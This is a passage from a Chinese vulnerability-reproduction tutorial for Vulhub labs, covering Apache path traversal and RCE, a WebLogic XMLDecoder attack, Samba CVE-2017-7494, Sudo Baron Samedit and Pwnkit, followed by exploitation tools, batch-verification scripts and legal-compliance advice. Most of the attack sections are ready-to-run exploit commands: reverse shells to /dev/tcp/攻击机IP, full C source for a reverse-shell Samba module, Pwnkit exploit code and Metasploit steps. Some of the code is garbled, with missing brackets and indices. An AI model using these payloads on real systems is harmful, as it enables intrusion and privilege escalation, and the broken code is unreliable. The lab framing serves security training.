fastcgi_pass 127.0.0.1:9000;

}

  1. 限制上传目录禁止执行PHP:

location ~* ^/upload/.*\.(php|php5)$ {

deny all;

}

```

4.3 复现八:Apache HTTP Server目录穿越(CVE-2021-41773/CVE-2021-42013)

4.3.1 路径穿越读取任意文件

```text

漏洞原理:

Apache HTTP Server 2.4.49版本中,对路径规范化处理存在缺陷。

当配置了Alias或目录别名时,攻击者可通过 ../ 进行路径穿越,

读取Web根目录之外的任意文件。CVE-2021-42013是对41773修复的不完全绕过。

影响版本:

  • CVE-2021-41773:Apache 2.4.49

  • CVE-2021-42013:Apache 2.4.49 和 2.4.50

```

```bash

启动Vulhub中的Apache目录穿越漏洞环境

cd /opt/vulhub/httpd/CVE-2021-41773

docker-compose up -d

```

```bash

读取任意文件(CVE-2021-41773)

curl --path-as-is "http://靶机IP:8080/cgi-bin/../../../../etc/passwd"

CVE-2021-42013绕过(双重编码绕过)

curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

```

4.3.2 RCE利用条件与payload

当Apache启用了CGI模块(mod_cgi)时,CVE-2021-42013可进一步利用实现RCE:

```bash

利用CGI执行命令(需要启用mod_cgi)

curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \

-d 'echo Content-Type: text/plain; echo; id; whoami; uname -a'

获取反弹Shell

curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \

-d 'echo Content-Type: text/plain; echo; bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"'

```

```text

修复方案:

  1. 升级Apache HTTP Server到2.4.51及以上版本

  2. 限制目录别名配置,确保Require all denied正确设置

  3. 如不需要,禁用mod_cgi模块

```

4.4 复现九:WebLogic XMLDecoder反序列化(CVE-2017-10271)

4.4.1 SOAP服务接口利用

```text

漏洞原理:

WebLogic的WLS Security组件在处理XML数据时使用了XMLDecoder进行反序列化,

攻击者可构造恶意XML数据发送到/wls-wsat/CoordinatorPortType等SOAP接口,

触发XMLDecoder反序列化执行任意命令。

影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2

```

```bash

启动Vulhub中的WebLogic XMLDecoder漏洞环境

cd /opt/vulhub/weblogic/CVE-2017-10271

docker-compose up -d

默认端口7001

```

4.4.2 XML payload构造

```bash

发送恶意XML payload执行命令

curl -X POST "http://靶机IP:7001/wls-wsat/CoordinatorPortType" \

-H "Content-Type: text/xml" \

-d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.8.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0"><string>/bin/bash</string></void>

<void index="1"><string>-c</string></void>

<void index="2"><string>touch /tmp/pwned</string></void>

</array>

<void method="start"/>

</void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>'

```

```bash

验证命令执行结果

如果WebLogic运行在Docker中,可以通过exec进入容器查看

docker exec -it <容器ID> ls -la /tmp/pwned

获取反弹Shell的payload

curl -X POST "http://靶机IP:7001/wls-wsat/CoordinatorPortType" \

-H "Content-Type: text/xml" \

-d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.8.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0"><string>bash</string></void>

<void index="1"><string>-c</string></void>

<void index="2"><string>bash -i &gt;&amp; /dev/tcp/攻击机IP/4444 0&gt;&amp;1</string></void>

</array>

<void method="start"/>

</void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>'

```

【注意】XML中需要将 > 和 & 进行HTML实体编码(&gt; 和 &amp;),否则XML解析会出错。

五、系统漏洞复现实战

5.1 复现十:Samba远程代码执行(CVE-2017-7494)

5.1.1 漏洞原理与利用条件

```text

漏洞原理:

Samba服务在处理共享管道请求时,会加载用户指定的动态链接库(.so文件)。

攻击者可以上传恶意的SO模块到Samba共享目录,然后通过RPC请求触发加载该模块,

从而以Samba服务权限执行任意代码。

影响版本:Samba 3.5.0 ~ 4.6.4(不含安全补丁版本)

利用条件:

  1. 目标存在可写的Samba共享目录

  2. 能够猜到共享路径的绝对路径

  3. Samba服务以root权限运行时可获取root Shell

```

```bash

启动Vulhub中的Samba漏洞环境

cd /opt/vulhub/samba/CVE-2017-7494

docker-compose up -d

默认端口445

```

5.1.2 构造恶意共享路径上传SO模块

```bash

步骤1:编译恶意SO模块(反弹Shell)

cat > reverse.c << 'EOF'

#include <stdio.h>

#include <unistd.h>

#include <sys/socket.h>

#include <netinet/in.h>

int sht_connect() {

int sockfd;

struct sockaddr_in addr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = AF_INET;

addr.sin_port = htons(4444);

addr.sin_addr.s_addr = inet_addr("攻击机IP");

connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));

dup2(sockfd, 0);

dup2(sockfd, 1);

dup2(sockfd, 2);

execl("/bin/bash", "bash", "-i", NULL);

return 0;

}

void samba_init_module(void) {

sht_connect();

}

EOF

编译为SO模块(注意目标架构,x86或x64)

gcc -shared -fPIC -o reverse.so reverse.c -nostartfiles

```

```bash

步骤2:上传SO模块到Samba共享目录

安装smbclient

apt-get install -y smbclient

连接Samba共享(假设共享名为public,匿名访问)

smbclient //靶机IP/public -N

在smbclient交互中:

smb: \> put reverse.so

smb: \> exit

步骤3:触发SO模块加载(使用metasploit或自定义脚本)

使用Metasploit

msfconsole

use exploit/linux/samba/is_known_pipename

set RHOST 靶机IP

set RPORT 445

set SMB_SHARE public

set SMB_FOLDER /reverse.so

exploit

```

```bash

步骤4:在攻击机上监听反弹Shell

nc -lvnp 4444

```

5.2 复现十一:Sudo提权漏洞(CVE-2021-3156 Baron Samedit)

5.2.1 漏洞原理

```text

漏洞原理:

Sudo在解析命令行参数时存在堆溢出漏洞。当用户执行sudo命令时,

如果参数末尾包含反斜杠(如sudo -s \),sudo的解析器会错误处理,

导致堆缓冲区溢出。攻击者可利用此漏洞以非root用户身份获取root权限。

影响版本:

  • sudo 1.8.2 ~ 1.8.31p2

  • sudo 1.9.0 ~ 1.9.5p1

不受影响版本:sudo 1.9.5p2及以上

```

5.2.2 编译利用脚本

```bash

下载CVE-2021-3156利用工具

cd /tmp

git clone https://github.com/blasty/CVE-2021-3156.git

cd CVE-2021-3156

编译利用程序

make

查看编译生成的可执行文件

ls -la sudo-hax-me-a-sandwich

```

5.2.3 提权完整流程

```bash

步骤1:确认sudo版本存在漏洞

sudo --version

检查版本是否在受影响范围内

步骤2:验证漏洞是否存在(不会触发实际利用)

sudoedit -s '\' $(python3 -c 'print("A"*1000)')

如果返回"malloc: corrupted top size"或段错误,说明存在漏洞

步骤3:执行提权利用

./sudo-hax-me-a-sandwich

根据输出的目标列表选择对应的编号

./sudo-hax-me-a-sandwich <编号>

验证提权成功

id

whoami

应显示 uid=0(root) gid=0(root)

```

```text

修复方案:

  1. 升级sudo到1.9.5p2及以上版本

  2. 各Linux发行版已发布安全补丁,通过包管理器更新:

  • Ubuntu/Debian: apt-get update && apt-get install sudo

  • CentOS/RHEL: yum update sudo

  1. 临时缓解:如非必要,限制普通用户使用sudo的权限

```

5.3 复现十二:Polkit pkexec本地提权(CVE-2021-4034 Pwnkit)

5.3.1 漏洞原理

```text

漏洞原理:

pkexec是Polkit(PolicyKit)套件中的setuid程序,用于以其他用户身份执行命令。

CVE-2021-4034漏洞源于pkexec在处理命令行参数时,未正确检查参数数量。

当argc=0时,pkexec会越界读取环境变量数组,导致环境变量注入。

攻击者可利用此漏洞注入恶意环境变量(如GCONV_PATH),加载恶意共享库实现提权。

影响版本:2009年5月至今的所有Polkit版本(影响范围极广)

漏洞存在于Linux系统中已超过12年,被称为"十年最佳Linux提权漏洞"

```

5.3.2 C语言exploit编译与执行

```bash

下载CVE-2021-4034利用代码

cd /tmp

git clone https://github.com/arthepsy/CVE-2021-4034.git

cd CVE-2021-4034

或者使用官方Qualys的利用代码

git clone https://github.com/qualys/CVE-2021-4034.git

cd CVE-2021-4034

```

```c

// 简化的CVE-2021-4034利用代码 (cve-2021-4034.c)

#include <unistd.h>

int main(int argc, char **argv)

{

char * const args\[\] = {

NULL

};

char * const environ\[\] = {

"pwnkit",

"PATH=GCONV_PATH=.",

"CHARSET=PWNKIT",

"SHELL=pwnkit",

NULL

};

execve("/usr/bin/pkexec", args, environ);

}

```

```bash

编译恶意.so模块

cat > pwnkit.c << 'EOF'

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void gconv(void) {

}

void gconv_init(void *step) {

char * const args\[\] = {"/bin/sh", NULL};

setuid(0);

setgid(0);

execve(args0, args, NULL);

exit(0);

}

EOF

gcc -shared -fPIC -o pwnkit.so pwnkit.c

编译exploit主体

gcc -o cve-2021-4034 cve-2021-4034.c

创建GCONV_PATH所需的目录结构

mkdir -p GCONV_PATH=.

cp pwnkit.so GCONV_PATH=.

```

5.3.3 提权效果演示

```bash

确认当前是普通用户

id

uid=1000(test) gid=1000(test) groups=1000(test)

执行提权

./cve-2021-4034

验证提权结果

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root

获取完整root Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

```

【警告】CVE-2021-4034利用成功率极高,几乎影响所有主流Linux发行版。该漏洞已存在12年以上,建议尽快更新系统补丁。

```text

修复方案:

  1. 更新polkit包到安全版本
  • Ubuntu/Debian: apt-get update && apt-get install policykit-1

  • CentOS/RHEL: yum update polkit

  1. 临时缓解:移除pkexec的SUID位(不推荐,影响功能)

chmod 0755 /usr/bin/pkexec

  1. 长期方案:保持系统及时更新安全补丁

```

六、漏洞复现工具汇总

6.1 漏洞利用框架

| 工具名称 | 功能说明 | 使用场景 | 命令示例 |

|---------|---------|---------|---------|

| Metasploit | 综合渗透测试框架,内置大量exploit模块 | 漏洞利用、后渗透 | msfconsole -> search <CVE> -> use <module> |

| searchsploit | ExploitDB离线搜索工具 | 快速查找公开EXP | searchsploit <关键词> |

| ysoerial | Java反序列化利用工具 | Java反序列化漏洞 | java -jar ysoserial.jar <Gadget> <cmd> |

| marshalsec | JNDI注入利用工具 | JNDI注入类漏洞 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer |

| nuclei | 基于模板的漏洞扫描器 | 批量漏洞验证 | nuclei -t <template> -u <url> |

```bash

Metasploit搜索和利用流程

msfconsole

搜索漏洞利用模块

search CVE-2021-44228

search type:exploit name:log4j

使用模块

use exploit/multi/http/log4shell_header_injection

show options

set RHOSTS 靶机IP

set RPORT 8080

set LHOST 攻击机IP

set LPORT 4444

exploit

```

```bash

searchsploit离线搜索EXP

安装

apt-get install exploitdb

搜索漏洞利用代码

searchsploit apache tomcat put

searchsploit weblogic deserialization

searchsploit -x 12345 # 查看编号12345的EXP详情

searchsploit -m 12345 # 复制EXP到当前目录

searchsploit -p 12345 # 显示EXP文件路径

```

6.2 POC/EXP收集渠道

| 渠道名称 | 地址 | 说明 | 搜索技巧 |

|---------|------|------|---------|

| ExploitDB | https://www.exploit-db.com/ | 最全面的EXP数据库 | 按CVE编号或关键词搜索 |

| GitHub | https://github.com/ | 大量安全研究员发布的POC | 搜索"CVE-xxxx-xxxx"或"漏洞名 POC" |

| Vulhub | https://vulhub.org/ | 漏洞环境+复现文档 | 查看对应漏洞的README |

| PacketStorm | https://packetstormsecurity.com/ | 安全工具和EXP存档 | 按日期或类型浏览 |

| Seebug | https://www.seebug.org/ | 国内漏洞库(知道创宇) | 按CVE或组件搜索 |

| POC-T | https://github.com/Xyntax/POC-T | POC框架+批量验证 | 适合自定义POC开发 |

```bash

GitHub搜索POC的技巧

搜索特定CVE的POC

在GitHub搜索框中输入:CVE-2021-44228 POC

或使用命令行搜索(需要安装gh工具)

gh search repos "CVE-2021-44228" --sort stars

搜索特定漏洞的利用工具

gh search repos "shiro exploit" --sort stars

gh search repos "fastjson rce" --sort stars

```

6.3 漏洞信息查询平台

| 平台名称 | 地址 | 特点 | 适用场景 |

|---------|------|------|---------|

| NVD | https://nvd.nist.gov/ | 美国国家漏洞数据库,最权威 | 查询CVE详情和CVSS评分 |

| CNVD | https://www.cnvd.org.cn/ | 中国国家漏洞库 | 国内漏洞信息和0day通报 |

| CNNVD | https://www.cnnvd.org.cn/ | 中国国家信息安全漏洞库 | 漏洞分析和影响评估 |

| CVE Details | https://www.cvedetails.com/ | 漏洞统计和分析 | 按厂商、产品统计漏洞 |

| SecurityFocus | https://www.securityfocus.com/ | Bugtraq漏洞数据库 | 查看漏洞技术分析 |

| ExploitDB | https://www.exploit-db.com/ | EXP专用数据库 | 查找可用EXP |

```bash

使用NVD API查询漏洞信息

curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228" | python3 -m json.tool

查询特定产品的所有漏洞

curl "https://services.nvd.nist.gov/rest/json/cves/2.0?keyword=apache+log4j" | python3 -m json.tool

```

6.4 辅助工具

| 工具名称 | 功能说明 | 适用场景 | 下载地址 |

|---------|---------|---------|---------|

| marshalsec | JNDI注入利用,启动恶意LDAP/RMI服务 | Log4j2、Fastjson等JNDI注入 | github.com/mbechler/marshalsec |

| ysoerial | Java反序列化Payload生成 | 各类Java反序列化漏洞 | github.com/frohoff/ysoserial |

| JNDI-Injection-Exploit | 一键生成JNDI利用服务 | JNDI注入类漏洞 | github.com/welk1n/JNDI-Injection-Exploit |

| ShiroExp | Shiro漏洞利用图形化工具 | Apache Shiro反序列化 | github.com/feihong-cs/ShiroExp |

| weblogic-framework | WebLogic漏洞利用框架 | WebLogic各类漏洞 | github.com/Y4er/weblogic-framework |

| JDK对象利用工具 | 针对高版本JDK的反序列化利用 | 高版本JDK绕过限制 | github.com/Y4er/ysoserial |

| dnslog | DNS日志记录平台 | 验证无回显漏洞 | dnslog.cn / ceye.io |

| Goby | 综合漏洞扫描与利用 | 资产发现和漏洞验证 | gobies.org |

七、漏洞复现自动化

7.1 批量复现脚本编写思路

对于安全团队,需要定期验证大量漏洞,手动复现效率低下。可以编写自动化脚本批量启动环境并验证:

```python

#!/usr/bin/env python3

batch_vuln_repro.py - 批量漏洞复现脚本

import subprocess

import json

import time

import requests

import os

漏洞复现配置列表

VULN_LIST = [

{

"name": "Log4j2 RCE",

"cve": "CVE-2021-44228",

"vulhub_path": "/opt/vulhub/log4j/CVE-2021-44228",

"port": 8983,

"verify_url": "http://127.0.0.1:8983/solr/admin/cores",

"verify_method": "jndi",

"payload": "${jndi:ldap://127.0.0.1:1389/test}",

},

{

"name": "Fastjson RCE",

"cve": "CVE-2017-18349",

"vulhub_path": "/opt/vulhub/fastjson/1.2.24-rce",

"port": 8090,

"verify_url": "http://127.0.0.1:8090/",

"verify_method": "post_json",

"payload": json.dumps({"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/test","autoCommit":True}}),

},

{

"name": "Tomcat PUT",

"cve": "CVE-2017-12615",

"vulhub_path": "/opt/vulhub/tomcat/CVE-2017-12615",

"port": 8080,

"verify_url": "http://127.0.0.1:8080/",

"verify_method": "put",

"payload": "test",

},

]

def start_vulhub(path):

"""启动Vulhub漏洞环境"""

result = subprocess.run(

"docker-compose", "up", "-d",

cwd=path,

capture_output=True,

text=True

)

if result.returncode == 0:

print(f"+ 环境启动成功: {path}")

time.sleep(10) # 等待服务完全启动

return True

else:

print(f"- 环境启动失败: {result.stderr}")

return False

def stop_vulhub(path):

"""停止并清理Vulhub漏洞环境"""

subprocess.run(

"docker-compose", "down", "-v",

cwd=path,

capture_output=True,

text=True

)

print(f"+ 环境已清理: {path}")

def verify_vuln(vuln):

"""验证漏洞是否存在"""

try:

if vuln"verify_method" == "jndi":

JNDI注入类漏洞验证(需要配合dnslog)

url = vuln"verify_url" + "?action=" + vuln"payload"

r = requests.get(url, timeout=10)

print(f"\* 已发送JNDI payload,请检查dnslog记录")

return True

elif vuln"verify_method" == "post_json":

r = requests.post(

vuln"verify_url",

data=vuln"payload",

headers={"Content-Type": "application/json"},

timeout=10

)

print(f"\* 响应状态码: {r.status_code}")

return r.status_code in 200, 500

elif vuln"verify_method" == "put":

r = requests.put(

vuln"verify_url" + "test_verify.txt",

data="vuln_test",

timeout=10

)

if r.status_code in 200, 201, 204:

print(f"+ PUT上传成功,漏洞确认存在")

return True

return False

except Exception as e:

print(f"! 验证异常: {e}")

return False

def main():

results = \[\]

for vuln in VULN_LIST:

print(f"\n{'='*50}")

print(f"\* 开始复现: {vuln'name'} ({vuln'cve'})")

print(f"{'='*50}")

启动环境

if not start_vulhub(vuln"vulhub_path"):

results.append({"vuln": vuln"name", "status": "环境启动失败"})

continue

验证漏洞

is_vuln = verify_vuln(vuln)

results.append({

"vuln": vuln"name",

"cve": vuln"cve",

"status": "漏洞确认存在" if is_vuln else "漏洞未确认"

})

清理环境

stop_vulhub(vuln"vulhub_path")

输出复现报告

print(f"\n{'='*50}")

print("\* 漏洞复现报告")

print(f"{'='*50}")

for r in results:

print(f" {r'vuln'}: {r'status'}")

if name == "main":

main()

```

7.2 Nuclei模板编写与批量验证

Nuclei是基于YAML模板的快速漏洞扫描器,非常适合批量验证已知漏洞:

```yaml

nuclei模板示例:检测Tomcat PUT方法漏洞

id: tomcat-put-method-cve-2017-12615

info:

name: Apache Tomcat PUT Method Arbitrary File Upload

author: security-researcher

severity: high

description: |

Apache Tomcat 7.0.0-7.0.79 allows PUT method to upload files.

reference:

tags: cve,cve2017,tomcat,fileupload,rce

requests:

  • method: PUT

path:

  • "{{BaseURL}}/{{randstr_1}}.jsp/"

body: "<%out.println(\"nuclei_test\");%>"

headers:

Content-Type: application/octet-stream

matchers-condition: and

matchers:

  • type: status

status:

  • 201

  • 200

  • 204

  • type: word

words:

  • "nuclei_test"

part: body

condition: and

```

```bash

使用Nuclei进行批量漏洞验证

对单个目标扫描

nuclei -t tomcat-put-cve-2017-12615.yaml -u http://靶机IP:8080

对目标列表批量扫描

nuclei -t tomcat-put-cve-2017-12615.yaml -l targets.txt

使用所有已知的Nuclei模板扫描

nuclei -u http://靶机IP:8080

按严重程度过滤

nuclei -u http://靶机IP:8080 -severity critical,high

按标签过滤

nuclei -u http://靶机IP:8080 -tags cve,tomcat

输出JSON格式报告

nuclei -u http://靶机IP:8080 -json -o results.json

```

7.3 xray被动扫描与Vulhub联动

xray是优秀的被动漏洞扫描器,配合Vulhub可以高效验证漏洞检测能力:

```bash

步骤1:启动xray被动监听

./xray webscan --listen 127.0.0.1:7777 --html-output vuln_report.html

步骤2:配置浏览器代理指向xray

浏览器代理设置:HTTP代理 127.0.0.1:7777

步骤3:启动Vulhub环境

cd /opt/vulhub/log4j/CVE-2021-44228

docker-compose up -d

步骤4:使用浏览器访问靶场,正常浏览功能页面

xray会自动分析流量并检测漏洞

步骤5:查看扫描报告

vuln_report.html中会记录发现的漏洞

```

```yaml

xray配置文件(部分关键配置)

config.yaml

mitm:

listen: 127.0.0.1:7777

plugins:

xss:

enabled: true

sqldet:

enabled: true

phantasm:

enabled: true

poc_path:

  • "./pocs/*"

http:

proxy: ""

dial_timeout: 5

read_timeout: 10

```

八、漏洞复现注意事项与法律合规

8.1 技术注意事项

【注意】漏洞复现过程中的关键技术注意事项:

  1. 环境隔离必须到位
  • 漏洞靶场必须在隔离环境中运行,使用Host-Only网络或内部网络

  • 严禁将漏洞环境部署在公网可访问的服务器上

  • 虚拟机快照功能可在环境损坏时快速恢复

  1. Docker资源管理
  • 每次复现完成后执行 docker-compose down -v 清理

  • 定期执行 docker system prune 清理无用镜像和容器

  • 注意端口冲突,同一时间避免启动多个使用相同端口的环境

  1. JDK版本兼容性
  • Java反序列化漏洞利用严重依赖JDK版本

  • JDK 8u191+ 默认禁止远程类加载(trustURLCodebase=false)

  • 建议保留JDK 8低版本环境用于复现老漏洞

  1. Payload编码问题
  • Bash中 {} 需要转义为 \\{}

  • XML中 > 和 & 需要HTML实体编码

  • URL中特殊字符需要URL编码

  • Base64编码用于避免特殊字符和空格问题

  1. 漏洞利用的稳定性
  • 反弹Shell可能因防火墙、SELinux等机制失败

  • 部分漏洞利用需要多次尝试

  • 注意目标环境的安全防护(WAF、EDR等)可能拦截利用

8.2 法律合规要求

【警告】漏洞复现必须严格遵守法律法规,以下行为绝对禁止:

  1. 禁止未授权测试
  • 未经系统所有者明确书面授权,不得对任何系统进行漏洞测试

  • 即使是"善意"的漏洞发现,未经授权也可能构成犯罪

  • 《网络安全法》第二十七条明确规定未经授权侵入网络属于违法行为

  1. 禁止传播利用工具
  • 不得将漏洞利用工具和EXP用于非法目的

  • 不得在公开渠道传播可直接利用的0day漏洞

  • 发现漏洞应通过合法渠道报告(CNVD、厂商SRC等)

  1. 数据保护义务
  • 漏洞测试过程中获取的任何数据不得泄露、传播

  • 测试完成后应彻底清除获取的数据

  • 不得在测试过程中破坏目标系统的正常运行

  1. 漏洞披露规范
  • 遵循负责任的漏洞披露流程(Responsible Disclosure)

  • 先通知厂商,给予合理修复时间后再公开

  • 公开漏洞细节时应同时提供修复方案

```text

相关法律法规参考:

  1. 《中华人民共和国网络安全法》

  2. 《中华人民共和国数据安全法》

  3. 《中华人民共和国个人信息保护法》

  4. 《计算机信息系统安全保护条例》

  5. 《刑法》第二百八十五条(非法侵入计算机信息系统罪)

  6. 《刑法》第二百八十六条(破坏计算机信息系统罪)

合法漏洞报告渠道:

  1. CNVD(国家信息安全漏洞共享平台):https://www.cnvd.org.cn/

  2. CNNVD(国家信息安全漏洞库):https://www.cnnvd.org.cn/

  3. 各厂商安全应急响应中心(SRC)

  4. 补天漏洞响应平台:https://www.butian.net/

```

九、总结与学习路线建议

9.1 漏洞复现方法论总结

漏洞复现应遵循标准化流程,形成可复用的工作流:

```text

漏洞复现标准流程:

第一步:信息收集与分析

  • 查阅CVE详情,了解漏洞影响范围和利用条件

  • 分析漏洞原理,理解触发链路

  • 搜索公开POC/EXP,参考已有复现方案

第二步:环境搭建

  • 优先使用Vulhub等靶场一键搭建

  • 靶场未收录时手动搭建Docker环境

  • 确保环境隔离,不影响生产网络

第三步:漏洞验证

  • 使用POC验证漏洞是否存在(优先使用无危害的验证方式)

  • 记录验证过程中的关键参数和响应

  • 使用dnslog验证无回显漏洞

第四步:漏洞利用

  • 从验证POC升级到完整利用EXP

  • 获取Shell或实现漏洞利用目标

  • 记录完整的利用步骤和命令

第五步:修复验证

  • 应用官方补丁或修复方案

  • 重新验证漏洞是否已修复

  • 总结修复方案的有效性

第六步:总结沉淀

  • 编写漏洞复现报告

  • 提炼漏洞模式,关联同类漏洞

  • 更新内部漏洞知识库

```

9.2 学习路线建议

```text

阶段一:基础环境搭建(1-2周)

  • 掌握Docker和Docker Compose使用

  • 熟悉Vulhub靶场框架

  • 搭建Kali Linux攻击机环境

  • 学习虚拟机网络配置

阶段二:Web漏洞复现入门(2-4周)

  • 从Log4j2、Fastjson等热点漏洞入手

  • 掌握Java反序列化漏洞复现流程

  • 学习ysoerial、marshalsec等工具使用

  • 复现10个以上Web漏洞

阶段三:中间件漏洞复现(2-3周)

  • 复现Tomcat、Nginx、Apache等中间件漏洞

  • 理解中间件配置与漏洞的关系

  • 学习中间件漏洞的检测和修复

阶段四:系统漏洞复现(2-3周)

  • 复现Samba、Sudo、Polkit等系统漏洞

  • 掌握本地提权漏洞的复现方法

  • 理解Linux内核和系统服务漏洞

阶段五:自动化与进阶(2-4周)

  • 学习Nuclei模板编写

  • 编写批量漏洞验证脚本

  • 研究漏洞利用链组合

  • 参与漏洞挖掘和SRC提交

阶段六:深入研究(持续)

  • 分析漏洞Patch,理解修复方案

  • 研究漏洞变种和绕过技术

  • 跟踪最新安全动态和0day信息

  • 贡献开源安全工具和漏洞复现方案

```

9.3 推荐学习资源

```text

在线学习平台:

  • TryHackMe:引导式学习,适合入门

  • HackTheBox:实战靶场,适合进阶

  • VulnHub:离线靶机下载

  • PentesterLab:结构化漏洞练习

技术社区:

  • 先知社区(安全客)

  • FreeBuf

  • 看雪学院

  • GitHub安全项目

书籍推荐:

  • 《白帽子讲Web安全》

  • 《Web安全深度剖析》

  • 《漏洞战争》

  • 《代码审计:企业级Web代码安全实践》

```

本文系统梳理了漏洞复现的完整流程和方法论,从环境搭建到漏洞利用,涵盖了Web漏洞、中间件漏洞和系统漏洞三大类共12个实战复现案例。每个案例都提供了可执行的命令和完整的利用步骤。漏洞复现是安全从业者必备的核心能力,建议读者在合法授权的前提下,按照本文的方法论进行系统化练习,逐步积累漏洞复现经验,为真实的安全工作打下坚实基础。

最后再次强调:技术是一把双刃剑,请始终在法律和道德的框架内使用所学知识,做一名负责任的安全研究者。

附录:本文涉及的CVE漏洞编号速查表

| CVE编号 | 漏洞名称 | 影响组件 | 严重程度 |

|---------|---------|---------|---------|

| CVE-2021-44228 | Log4Shell JNDI注入RCE | Apache Log4j2 | 严重 |

| CVE-2017-18349 | Fastjson反序列化RCE | Fastjson | 严重 |

| CVE-2018-2628 | T3协议反序列化RCE | WebLogic | 严重 |

| CVE-2016-4437 | rememberMe反序列化RCE | Apache Shiro | 严重 |

| CVE-2022-22965 | Spring4Shell RCE | Spring Framework | 严重 |

| CVE-2017-12615 | PUT方法任意文件上传 | Apache Tomcat | 高危 |

| CVE-2021-41773 | 目录穿越/RCE | Apache HTTP Server | 高危 |

| CVE-2021-42013 | 目录穿越绕过/RCE | Apache HTTP Server | 高危 |

| CVE-2017-10271 | XMLDecoder反序列化RCE | WebLogic | 严重 |

| CVE-2017-7494 | 远程代码执行 | Samba | 严重 |

| CVE-2021-3156 | Baron Samedit提权 | Sudo | 高危 |

| CVE-2021-4034 | Pwnkit本地提权 | Polkit pkexec | 严重 |

相关推荐
笨鸟先飞,勤能补拙1 小时前
AI Agent应用领域深度解析:从概念到落地的全维度审视
大数据·人工智能·python·物联网·安全·网络安全·github
Sombra_Olivia2 小时前
复现Windows Server服务RPC请求缓冲区溢出漏洞(MS08067)
网络·windows·安全·web安全·网络安全·渗透测试·vulhub
大模型码小白2 小时前
AI安全前沿:AI大模型安全防护的前沿技术
java·网络·人工智能·python·深度学习·学习·安全
Shujuanquan1232 小时前
如何选择适合企业用的终端安全管理系统?
安全
牛肉胡辣汤2 小时前
开源模型落地实战|开发、运维、安全各岗位 AI 应用经验分享
运维·安全·开源
数据知道3 小时前
网络安全实战:API 安全攻防——RESTful 接口渗透测试方法论
网络·安全·web安全·网络安全·restful
小绫网络安全11 小时前
2026最新版网络安全入门路线
安全·web安全
可爱系程序猿11 小时前
webauthn.dll 异常的排查记录:安全密钥登录与浏览器验证失败时的处理方法
程序人生·安全·电脑
LPCK_2026062214 小时前
2026 企业智能体:私有化与 SaaS 部署对比,从安全成本看落地选型
人工智能·安全